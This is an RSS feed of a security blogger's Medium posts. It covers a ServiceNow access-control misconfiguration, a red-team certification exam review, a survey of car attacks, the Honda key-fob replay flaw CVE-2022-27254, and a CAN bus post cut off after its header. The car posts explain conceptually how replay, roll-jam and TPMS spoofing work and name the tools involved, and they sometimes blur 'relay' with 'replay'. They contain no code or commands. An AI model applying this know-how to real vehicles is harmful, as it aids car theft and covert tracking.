<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vinayak Agrawal on Medium]]></title>
        <description><![CDATA[Stories by Vinayak Agrawal on Medium]]></description>
        <link>https://medium.com/@vinayakagrawal95?source=rss-ac1f54842907------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xPfCW2ptTSE5l1RWskoEeA.jpeg</url>
            <title>Stories by Vinayak Agrawal on Medium</title>
            <link>https://medium.com/@vinayakagrawal95?source=rss-ac1f54842907------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 20:50:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vinayakagrawal95/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ServiceNow Data Exposure: A Misconfiguration Story]]></title>
            <link>https://vinayakagrawal95.medium.com/servicenow-data-exposure-a-misconfiguration-story-e7b00d7a6252?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7b00d7a6252</guid>
            <category><![CDATA[service-now-data-exposure]]></category>
            <category><![CDATA[servicenow-hack]]></category>
            <category><![CDATA[servicenow]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Fri, 03 Nov 2023 13:29:07 GMT</pubDate>
            <atom:updated>2023-11-03T13:29:07.904Z</atom:updated>
            <content:encoded><![CDATA[<p>ServiceNow is a cloud-based platform designed for the establishment, management, automation, and organization of IT services within enterprises. In essence, it functions as a tool for raising and monitoring service tickets, as well as processing and categorizing routine IT service requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*kyDr-4B2hNQk4uhAZ_LewQ.png" /></figure><p>On October 18, 2023, ServiceNow <a href="https://support.servicenow.com/kb?id=kb_article_view&amp;sysparm_article=KB1553688"><strong>acknowledged</strong> </a>a potential<strong> misconfiguration issue in their Access Control Lists (ACL),</strong> which, if not addressed, could enable unauthorized access to sensitive data. The problem was discovered by a security engineer at <strong>AppOmni</strong> and publicly disclosed on October 14, 2023.</p><h4><strong>Timeline</strong></h4><p><strong>Mar 3rd, 2023</strong> — The JS code that powers the component was modified from ServiceNow to make it<strong><em> less dangerous</em></strong></p><p><strong>Oct 14th, 2023</strong> — Researcher <strong>Aaron Costello</strong> made a public report about misconfiguration.</p><p><strong>Oct 20th, 2023 </strong>— ServiceNow quietly issued a fix.</p><h4><strong>What is an Access Control List (ACL)?</strong></h4><p>In simple words, an <strong>Access Control List (ACL)</strong>, is like a <strong>list of specific permissions</strong> for digital files and resources. It tells a computer or network who is allowed to see, change, or delete things and who is not. It’s a bit like a security guard who checks if you’re on the guest list at a party before letting you in.</p><h3><strong>Root Cause of the Misconfiguration</strong></h3><p>In 2015, ServiceNow introduced a widget known as “<strong>Simple List</strong>” to its platform. This widget serves as a user interface element designed to retrieve and present data from tables, which may encompass sensitive information such as internal tickets and employee details, for utilization within dashboards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*GuUMpUZVb3FyA5TOu4ASDA.png" /><figcaption>Source: <a href="https://developer.servicenow.com/dev.do#!/learn/learning-plans/utah/new_to_servicenow/app_store_learnv2_serviceportal_utah_exercise_set_options_for_the_simple_list_widget">https://developer.servicenow.com/dev.do#!/learn/learning-plans/utah/new_to_servicenow/app_store_learnv2_serviceportal_utah_exercise_set_options_for_the_simple_list_widget</a></figcaption></figure><p><strong>By default</strong>, the Simple List widget permits remote access to the data within these tables without requiring authentication,<strong> potentially exposing sensitive information to unauthenticated users.</strong></p><p>ServiceNow employs ACLs to regulate access to resources, including tables, though they do not encompass control over widgets themselves. ACLs encompass a <strong>three-part validation</strong> process involving “<strong>roles, conditions, and scripts.</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-9rKGXnqO7zi9C2QgP62g.png" /><figcaption>Source: <a href="https://www.enumerated.ie/index/servicenow-data-exposure">https://www.enumerated.ie/index/servicenow-data-exposure</a></figcaption></figure><p>In the above image, it can be observed that the widget is allowed “<strong>public access</strong>” but <strong>no role has been defined</strong> for the same, which is a default behavior.</p><p>In cases where an Access Control List (ACL) is not explicitly defined for a particular resource, the standard response is to prohibit access. Nevertheless, when a resource is linked to an ACL with all<strong> three validation components left unconfigured</strong>, <strong>access attempts are authorized</strong>, <strong>potentially introducing a security vulnerability.</strong></p><p><strong>Aron Costello’s research</strong> showed that <strong>many ServiceNow ACLs are left blank</strong>, leaving them vulnerable to potential attackers.</p><p>Based on his findings, an attacker could use a script to exploit ServiceNow misconfiguration. By iterating over known table and field names and continuously calling a widget, they could potentially access sensitive information.</p><h4><strong>Remediation</strong></h4><p>The simplest remediation step for customers to take is:</p><ol><li>Verify the presence of configured Access Control Lists (ACLs) within your instance.</li><li>Consider amending the ACL by incorporating the script line “<strong>gs.isLoggedIn()</strong>” into its script section.</li><li>If the intention is to allow unauthenticated users to read the data, no further action is necessary.</li><li><strong>Evaluate public widgets</strong> and, if their purpose does not align with your specific use cases, contemplate deactivating the “Public” designation.</li><li>Examine Access Control Lists (ACLs) that are either completely vacant or include the “Public” role.</li><li>Consider implementing <strong>stricter access controls</strong> like IP Address Access Control or Adaptive Authentication within ServiceNow.</li></ol><p><strong>Conclusion</strong></p><p>The introduction of ServiceNow’s “Simple List” widget in 2015 introduced a potential security risk, as it allowed remote access to sensitive data stored in tables without requiring authentication. Notably, the vendor was aware of this issue from the beginning but did not provide public documentation or take significant action to address it.</p><p>While there is no documented evidence of this misconfiguration being exploited in the real world, it is crucial to recognize that it should have been rectified long ago or at least released information about the issue publically.</p><p>This underscores the importance of maintaining updated policies, Access Control Lists (ACLs), and configurations within your workflow and systems. By doing so, you can proactively mitigate the risk of potential disasters that may harm your reputation, disrupt business continuity, or lead to financial losses.</p><p><strong>References</strong></p><ul><li><a href="https://thehackernews.com/2023/10/servicenow-data-exposure-wake-up-call.html">ServiceNow Data Exposure: A Wake-Up Call for Companies</a></li><li><a href="https://www.theregister.com/2023/10/26/servicenow_data_exposure_flaw/">ServiceNow quietly fixes 8-year-old data exposure flaw</a></li><li><a href="https://www.enumerated.ie/index/servicenow-data-exposure">Data Exposure and ServiceNow: The Elephant in the ITSM Room - Enumerated</a></li><li><a href="https://support.servicenow.com/kb?id=kb_article_view&amp;sysparm_article=KB1553688">General Information | Potential Public List Widget Misconfiguration - Support and Troubleshooting - Now Support Portal</a></li><li><a href="https://arcticwolf.com/resources/blog/data-exposure-misconfiguration-issue-in-servicenow/">Data Exposure Misconfiguration Issue in ServiceNow | Arctic Wolf</a></li></ul><p><a href="https://cybernews.com/news/servicenow-leak-thousands-companies-risk/">https://cybernews.com/news/servicenow-leak-thousands-companies-risk/</a></p><blockquote><strong>Follow me here:<br>LinkedIn:-</strong><a href="https://www.linkedin.com/in/vinayakagrawal95/"><strong> https://www.linkedin.com/in/vinayakagrawal95/</strong></a><strong><br>Twitter:- </strong><a href="https://twitter.com/Uchiha__Vin"><strong>https://twitter.com/Uchiha__Vin</strong></a><strong><br>YouTube:- </strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong>http://www.youtube.com/c/AnonymousWorld95</strong></a></blockquote><p>If you like my works, then please support me here:<br><strong>BuyMeACoffee</strong>: <a href="https://bmc.link/uchihavin">https://bmc.link/uchihavin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7b00d7a6252" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRTP Exam Experience And Review]]></title>
            <link>https://medium.com/cyversity/crtp-exam-experience-and-review-c763edc75028?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/c763edc75028</guid>
            <category><![CDATA[crpt]]></category>
            <category><![CDATA[altered-security]]></category>
            <category><![CDATA[crtp-exam-review]]></category>
            <category><![CDATA[crtp-exam]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Wed, 26 Jul 2023 18:41:27 GMT</pubDate>
            <atom:updated>2023-07-27T09:14:32.025Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*P4MHXFR0BCjNDtQ16DI2xQ.png" /></figure><blockquote><strong><em>Hello everyone! this blog is all about my CRTP exam experience and review. Also, I have mentioned some resources that you can refer to while studying for the same.</em></strong></blockquote><h3>What is CRTP?</h3><p>The <strong>Certified Red Team Professional</strong> certification is a fully hands-on program. To achieve this certification, you must tackle practical and realistic challenges within <strong>fully patched Windows infrastructure labs</strong>, featuring multiple <strong>Windows domains and forests.</strong></p><p>The certification process tests your abilities to <strong>compromise Active Directory</strong> by leveraging features and functionalities, without depending on patchable exploits. The hands-on certification exam grants students a <strong>24-hour timeframe</strong> to demonstrate their skills.</p><p>The objective is to perform OS <strong>command injection</strong> on all machines, no matter if you execute commands with admin privileges or lower privileges. After the exam, you are required to send a <strong>detailed solution report</strong>, including necessary screenshots, commands used, and your methodology.</p><h3>Bootcamp And Lab Experience</h3><p>I enrolled myself in the May month <strong>Bootcamp</strong> of the CRTP, which <strong>cost $299</strong>. Bootcamp includes <strong>4 live lectures</strong> ( 1 lecture a week) of 3–4 hours each, <strong>instructed by</strong> <strong>Nikhil Mittal</strong> himself. Also, you get <strong>30 days of lab access</strong>, which you can connect to via VPN or browser.</p><p>The course was very structured over 4 lectures with slides and <strong>live demonstrations</strong> of exercises covering <strong>enumeration, privilege escalation, persistence, lateral movement, bypassing techniques, and defense techniques</strong>.</p><p>You also get a link to join the <strong>Discord server,</strong> which is very active both at the time of lectures and after the lectures are over. It is<strong> strongly advised</strong> not to solve the labs during the lecture as you will need many discussions; instead, watch the lecture, <strong>make good notes,</strong> and then solve the labs. The Discord community as well as the Lab support team are very good and fast.</p><p>In the Lab, there are a total of <strong>40 flags</strong> that you can find. Connecting to the Lab is easy since you can either use OpenVPN or your browser. You don&#39;t need to worry about installing any tools, as they are all already available in the lab. The <strong>lab runs smoothly</strong>, and if you need any help, <strong>fast support </strong>is always available. However, some of the flag descriptions can be confusing, making it hard to understand what they are asking for.</p><p>All the lecture slides, lab manual, recordings of the sessions, and tools are also provided via OneDrive.</p><h3>Exam Experience</h3><blockquote><strong><em>Read all the instructions given for the exam carefully. You won’t want to miss anything and get yourself in unwanted trouble.</em></strong></blockquote><p>My bootcamp ended on June 4th, lab access around June 14th, and I took my exam on July 22nd. You do not need to schedule the exam and can directly start it from the portal.</p><p>The <strong>exam environment takes around 10–15 minutes to get setup</strong>, and you are provided with a <strong>VPN file,</strong> and <strong>credentials </strong>for a web connection. There are <strong>no tools installed</strong> on the machine like there were in the labs. Therefore, you are required to install tools from your local machine.</p><p>The exam is a <strong>24-hour,</strong> completely hands-on experience. Once started, the exam lab runs for 25 hours. You get an <strong>additional hour</strong> to compensate for the lab setup time of 10–15 minutes. Further, you are required to submit a <strong>detailed report within 48 hours</strong> of exam completion.</p><p>The exam lab has <strong>5 target servers</strong>, which are spread across domains and have different configurations and applications running on them. Initially, you get access to the “<strong>user</strong>” VM and from there, enumeration, escalation, and all other stuff need to be done.</p><p>I started my exam around 11:45 a.m., and the very first step I took was to transfer the tools that I felt would be needed for the exam. The Defender is enabled, so you need to find a way to install the tools there from your local machine, or it will get blocked by the Defender.</p><p>Getting local admin access on the initial machine is very easy, but I got stuck for around 4–5 hours trying to get a shell on 1st target machine. Due to some minor mistakes, I was unable to get the shell. After a few tries, I got the shell, and from there, I really started enjoying the exam. The process is somewhat like <strong>getting shell&gt; enumerate, Mimikatz / Bloodhound &gt; Find possible credentials/hash&gt; Pivot to another machine &gt; Repeat till final target.</strong></p><p>My lab and lecture notes were not too good, which is a very bad thing as you will rely on your notes so much, and public exploits won’t work here. At around 4 AM, I was able to get OS command injection on all the machines and hence compromise the server.</p><p>I was able to complete my exam in around 16–17 hours, which included breaks totaling 3–4 hours. While solving the machines, I simultaneously took all the screenshots and wrote short notes so that I could remember what I did while writing a complete and fair report. It is strictly written that <strong>even if you solve the machine, a poorly written report may cause you to fail. </strong>Later that day, I documented a well-written report with all the screenshots and steps and sent it to the given email address.</p><p><strong>Timeline</strong></p><p><strong>July 22nd:</strong> Exam Started (11:30 a.m.–July 23rd, 4:00 a.m.)<br><strong>July 23rd: </strong>Submitted report (Around 9 p.m)<br><strong>July 26th: </strong>Received result<br><strong>July 26th: </strong>Received Certificate (after a few hours of getting the result)</p><h4>Points To Remember</h4><p>→ Make proper notes of course and all the labs <br>→ Setup your BloodHound, and prepare your scripts if you need changes, before the exam<br>→ Take breaks while giving the exam <br>→ Take your time to enumerate thoroughly, and then go for the next phase.<br>→ Don’t skip course content or labs <br>→ Make sure to take all the screenshots, as you won’t want a poor report.</p><h3><strong>Resources and Blogs</strong></h3><p><a href="https://github.com/0xJs/CRTP-cheatsheet">https://github.com/0xJs/CRTP-cheatsheet</a><br><a href="https://www.docdroid.net/mfEnYay/crtp-notes-meshari-almalki-pdf#page=6">https://www.docdroid.net/mfEnYay/crtp-notes-meshari-almalki-pdf</a><br><a href="https://github.com/0xJs/CRTP-cheatsheet">https://github.com/0xJs/CRTP-cheatsheet</a><br><a href="https://www.youtube.com/playlist?list=PL1l78n6W8zypXtkh3uWIXbPssc4IGbfb5">https://www.youtube.com/playlist?list=PL1l78n6W8zypXtkh3uWIXbPssc4IGbfb5</a><br><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#readme">https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#readme</a><br><a href="https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/">https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/</a></p><ul><li><a href="https://mentorcruise.com/blog/how-to-pass-crtp-and-become-certified-red-team-professional-b4b5c/">How to pass CRTP and become Certified Red Team Professional</a></li><li><a href="https://www.misecurity.net/certified-red-team-professional-crtp-review/#x03-my-thoughts-on-the-course">Certified Red Team Professional (CRTP) Review</a></li><li><a href="https://vinaysudheer.tech/CRTP-bites-the-dust.-CRTP-Bootcamp-Review/#">CRTP bites the dust. CRTP Bootcamp Review</a></li><li><a href="https://steflan-security.com/certified-red-team-professional-crtp-review/">Certified Red Team Professional (CRTP) Review - StefLan&#39;s Security Blog</a></li><li><a href="https://monkeydouy.medium.com/crtp-review-3b4306ae7152">CRTP Review</a></li></ul><blockquote><strong><em>Follow me here:<br>LinkedIn:-</em></strong><a href="https://www.linkedin.com/in/vinayakagrawal95/"><strong><em> https://www.linkedin.com/in/vinayakagrawal95/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Uchiha__Vin"><strong><em>https://twitter.com/Uchiha__Vin</em></strong></a><strong><em><br>Youtube:- </em></strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong><em>http://www.youtube.com/c/AnonymousWorld95</em></strong></a></blockquote><p>If you like my works, then please support me here:<br><strong>BuyMeACoffee</strong>: <a href="https://bmc.link/uchihavin">https://bmc.link/uchihavin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c763edc75028" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/crtp-exam-experience-and-review-c763edc75028">CRTP Exam Experience And Review</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacked on the Highway: Possible Ways Of Attacking Cars]]></title>
            <link>https://medium.com/cyversity/hacked-on-the-highway-possible-ways-of-attacking-cars-9468f6d0ecd3?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/9468f6d0ecd3</guid>
            <category><![CDATA[connected-vehicles]]></category>
            <category><![CDATA[car-hacking]]></category>
            <category><![CDATA[automotive-security]]></category>
            <category><![CDATA[hacking-vehicle]]></category>
            <category><![CDATA[car-vulnerabilities]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Sun, 16 Apr 2023 13:01:10 GMT</pubDate>
            <atom:updated>2023-07-18T10:25:30.801Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KxfwFoxPPlfcJ_K_dJu4lA.png" /></figure><p>Car vulnerabilities can arise from various sources, including software, hardware, communication channels, and human factors. These vulnerabilities can have severe consequences, potentially causing accidents, theft, or the loss of sensitive information.</p><p><strong>Software vulnerabilities:</strong> These can include flaws in the code or logic of vehicle control systems, infotainment systems, mobile applications, and other software components.</p><p><strong>Hardware vulnerabilities:</strong> These affect the physical components of the car, such as sensors, controllers, or communication modules.</p><p><strong>Communication vulnerabilities:</strong> Modern cars rely on multiple communication channels, both internal (e.g., CAN bus) and external (e.g., wireless technologies).</p><h3>Attack Surface</h3><p>An on-board network of Electronic Control Units (ECUs), which are specialized computers with carefully crafted and personalized software, manages modern vehicles.</p><p><strong>Internal communication interfaces, such as diagnosis protocols, external and user-accessible interfaces, including USB sockets, and low-level hardware interfaces make up the majority of the automotive attack surface.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*gLpphyVaFeBew0GV.jpeg" /></figure><p>Let’s see some of the common attack types that are being performed or can be used to harm the vehicle.</p><ol><li><strong>Relay Attack <br></strong>Relay attack is one of the most common attacks in automotive hacking. A replay attack is when a wireless signal such as a door unlock signal is recorded, and then played back at a later time with a device like a HackRF SDR.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*nmPg0xpQOnqNkPcP.jpg" /></figure><p><strong>2. Roll-Jam Attack<br></strong>A rolling code is used to prevent normal relay attacks, but these codes can still be bypassed using an attack known as the Roll-Jam attack. The Roll-Jam attack works by recording and blocking the radio signal from the key fob.</p><p>Because the signal is blocked, the car doesn’t unlock, and the owner will naturally try again. That creates a second signal that is also recorded and blocked, but this time the attacker replays the first code to unlock the door, and now the attacker will always have the next code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/0*R5jttGKE9uZBhS6S.png" /></figure><p><strong>3.</strong> <strong>Attacking Vehicle’s DTCs<br></strong>DTC <strong>(Diagnostics Trouble Code)</strong> is a five-character alphanumeric code. The PCM (<strong>Powertrain Control Module</strong>) stores fault codes as DTC in different places. When storing the DTCs, the PCM takes snapshots of all the relevant engine components in what is known as freeze frame data, which typically includes information such as the following:</p><pre><strong>• DTC Involved<br>• Engine load<br>• Engine revolutions per minute (RPM)<br>• Engine temperature<br>• Fuel trim<br>• Manifold air pressure/mass air flow (MAP/MAF) values<br>• Operating mode (open/close loop)<br>• Throttle position<br>• Vehicle speed</strong></pre><blockquote><strong><em>Eg: P0477 (exhaust pressure control valve low) and U0151 (lost communication with restraint control module).</em></strong></blockquote><p>Attackers may target the freeze frame data and DTCs of a vehicle to cover up illicit activity. For instance, if an exploit only needs to take advantage of a brief, temporary circumstance, it will almost certainly miss the event in a vehicle&#39;s freeze frame data because of recording delays.</p><p>When fuzzing a vehicle&#39;s system, an attacker might look for fired DTCs and use the information in a DTC to identify the problematic component. The most likely time for this kind of attack to take place is not during an active exploit but rather during the research stage of an attack (when an attacker is trying to figure out which components the randomly generated packets were affecting).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/0*2eRwYHYxKDpPXgz1.jpg" /><figcaption>Source: TEAM-BHP.COM</figcaption></figure><p><strong>4. Attacking Wireless Systems<br></strong>Embedded wireless systems can be easy targets. Due to their small size and specialized functionality, they frequently rely solely on short-range signals for security, and the ECU rarely performs any additional checks to verify the data beyond the CRC algorithm and the signal itself.</p><p>These involve attacks on short and long-range wireless communication via Wi-Fi, BLE, NB-IoT, and GSM.</p><p>Some of the short-range attacks include WiFi or Bluetooth packet sniffing, MITM, jamming, and protocol-related exploits. Long-range communication includes cellular networks and GPS signals, which may be prone to spoofing, tracking, or stealing sensitive information.</p><p><strong>5. Hacking With TPMS<br></strong>The TPMS (Tire Pressure Monitoring System) is a straightforward gadget that fits inside the tire and communicates with the ECU to send data about tire pressure, wheel rotation, and temperature as well as alerts about certain conditions, such as low sensor batteries.</p><figure><img alt="Two TPMS Sensors" src="https://cdn-images-1.medium.com/max/590/1*BVZSRUFbsMrep_iqH5W9gQ.png" /><figcaption>(Two TPMS Sensors) Source: The Car Hacker’s Handbook</figcaption></figure><p>By installing receivers in the areas you want to track, TPMS can be used to track vehicles. For instance, all you&#39;d need to do to track cars entering a parking garage is set up a few receivers near the entrance and exit points.</p><p>Once you have access to the TPMS signal, you can send your own forged packets by setting up GNU Radio as a transmitter instead of as a receiver</p><p>In addition to tracking a vehicle, TPMS can be used to start an action, such as opening a garage door when the car approaches or starting a more sinister process.</p><p>So these are a few attacking techniques that are being or can be used on cars. There are various other methods that are being exploited and researched. Automotive security is growing rapidly with the advancement of luxuriousness and technologies in connected vehicles, so there’s a huge upcoming demand for automotive cybersecurity specialists.</p><p><strong>That&#39;s all for this blog. Thanks for reading 😄</strong></p><h3>References</h3><blockquote><a href="https://payatu.com/blog/automotive-attacks/"><strong><em>https://payatu.com/blog/automotive-attacks/</em></strong></a><strong><em><br></em></strong><a href="https://evelta.com/blog/introduction-to-automotive-electronics/"><strong><em>https://evelta.com/blog/introduction-to-automotive-electronics/</em></strong></a><strong><em><br></em></strong><a href="https://events19.linuxfoundation.org/wp-content/uploads/2018/07/ALS19-Common-Attacks-Against-Car-Infotainment-Systems.pdf"><strong><em>https://events19.linuxfoundation.org/wp-content/uploads/2018/07/ALS19-Common-Attacks-Against-Car-Infotainment-Systems.pdf</em></strong></a><strong><em><br>Car Hacker’s Handbook — Craig Smith</em></strong></blockquote><blockquote><strong><em>Follow me here:<br>LinkedIn:-</em></strong><a href="https://www.linkedin.com/in/vinayakagrawal95/"><strong><em> </em></strong></a><a href="https://www.linkedin.com/in/vinayakagrawal95/"><strong><em>https://www.linkedin.com/in/vinayakagrawal95/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Uchiha__Vin"><strong><em>https://twitter.com/Uchiha__Vin</em></strong></a><strong><em><br>Youtube:- </em></strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong><em>http://www.youtube.com/c/AnonymousWorld95</em></strong></a></blockquote><p>If you like my work, then please support me here: <br>BuyMeACoffee: <a href="https://bmc.link/uchihavin">https://bmc.link/uchihavin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9468f6d0ecd3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/hacked-on-the-highway-possible-ways-of-attacking-cars-9468f6d0ecd3">Hacked on the Highway: Possible Ways Of Attacking Cars</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2022–27254: Unlocking Honda Cars Remotely]]></title>
            <link>https://medium.com/cyversity/cve-2022-27254-unlocking-honda-cars-remotely-d9128329d844?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9128329d844</guid>
            <category><![CDATA[honda-civic]]></category>
            <category><![CDATA[automotive-security]]></category>
            <category><![CDATA[cve-2022-27254]]></category>
            <category><![CDATA[car-hacking]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Mon, 26 Dec 2022 08:56:55 GMT</pubDate>
            <atom:updated>2023-07-18T10:26:08.254Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kEei_JQxecpAV0ZY.jpg" /><figcaption>Source: Hakin9</figcaption></figure><h3>Introduction</h3><p>In March 2022, a vulnerability was discovered in the <strong>remote keyless system</strong> of various Honda vehicle models that allowed an attacker to access the cars, and potentially even let them drive away with it! This CVE explains the issue in various Honda vehicles where the remote keyless system of the car sends the same RF signal for each door-open request, which allows for a <strong>replay attack</strong>, a related issue to CVE-2019–20626.</p><p>Let’s look at some of the key terms mentioned above.</p><ol><li><strong>Remote keyless System</strong>: — Also known as RKS, allows doing certain operations on a vehicle from some distance by transmitting signals. The system is operated by a control unit in the car and a transmitter also called a fob or a <strong>key fob</strong>, which has buttons to activate the system’s features. Some common functions are unlocking doors, and opening cargo and trunks.</li><li><strong>Replay Attack</strong>:- A replay attack is a type of cyberattack in which an attacker <strong>intercepts</strong> and <strong>resends</strong> ( or “Replays”) a valid data transmission, either to disrupt the communication or to gain unauthorized access to a system.</li></ol><blockquote>I’ll cover more about this and other attacks in upcoming blogs.</blockquote><p>Replay attacks are significantly more challenging to implement because the majority of auto manufacturers use rolling code security on their wireless keyfobs. The LX, EX, EX-L, Touring, Si, and Type R models of the Honda Civic from 2016 to 2020 appear to have no rolling code security, though.</p><p><strong>“Civic with a laptop. The most feared thing in the car community”</strong></p><p>Security researchers <a href="https://www.linkedin.com/in/ayyappan-rajesh/"><strong>Ayyapan Rajesh</strong></a> and <a href="https://github.com/HackingIntoYourHeart/"><strong>Hackingintoheart</strong></a> discovered that the same, unencrypted RF signal is sent for each door open, door close, boot open, and remote start (if applicable) by various Honda vehicles equipped with remote keyless entry systems. This allowed them to eavesdrop on the request and conduct a replay attack.</p><p>Honda had not implemented the basic security layer to prevent replay attacks. They used static codes instead of rolling codes, which enabled attackers to capture the key fob signals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3qJU3sycg5m713KR.png" /><figcaption>Source: Hackernoon.com</figcaption></figure><p>Therefore, it is possible to unlock a vehicle without a key by recording the unlock signal coming from the fob using an SDR device like HackRF, sending the signal again, or replaying it. Furthermore, it was possible to turn on the engine and, if applicable, start the car remotely.</p><h3>References:</h3><blockquote><a href="https://youtu.be/g4SxSTqv-Bk"><strong><em>https://youtu.be/g4SxSTqv-Bk</em></strong></a><strong><em> <br></em></strong><a href="https://github.com/nonamecoder/CVE-2022-27254"><strong><em>https://github.com/nonamecoder/CVE-2022-27254</em></strong></a><strong><em><br></em></strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-27254"><strong><em>https://nvd.nist.gov/vuln/detail/CVE-2022-27254</em></strong></a><strong><em><br></em></strong><a href="https://github.com/HackingIntoYourHeart/Unoriginal-Rice-Patty"><strong><em>https://github.com/HackingIntoYourHeart/Unoriginal-Rice-Patty</em></strong></a><strong><em><br></em></strong><a href="https://www.rtl-sdr.com/opening-and-starting-honda-civic-vehicles-with-a-hackrf-replay-attack/"><strong><em>https://www.rtl-sdr.com/opening-and-starting-honda-civic-vehicles-with-a-hackrf-replay-attack/</em></strong></a></blockquote><blockquote><strong><em>Follow me here:<br>LinkedIn:- </em></strong><a href="https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/"><strong><em>https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Dr_Anonymous95"><strong><em>https://twitter.com/Dr_Anonymous95</em></strong></a><strong><em><br>Youtube:- </em></strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong><em>http://www.youtube.com/c/AnonymousWorld95</em></strong></a></blockquote><p><strong>If you like my work, then please support me here: <br>BuyMeACoffee: </strong><a href="https://bmc.link/uchihavin"><strong>https://bmc.link/uchihavin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9128329d844" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/cve-2022-27254-unlocking-honda-cars-remotely-d9128329d844">CVE-2022–27254: Unlocking Honda Cars Remotely</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to CAN BUS: Automotive Security]]></title>
            <link>https://medium.com/cyversity/introduction-to-can-bus-automotive-security-9f6a7a1faa93?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f6a7a1faa93</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[automotive-security]]></category>
            <category><![CDATA[car-hacking]]></category>
            <category><![CDATA[can-bus-protocol]]></category>
            <category><![CDATA[can-bus]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Fri, 12 Aug 2022 15:59:17 GMT</pubDate>
            <atom:updated>2022-08-14T04:19:21.393Z</atom:updated>
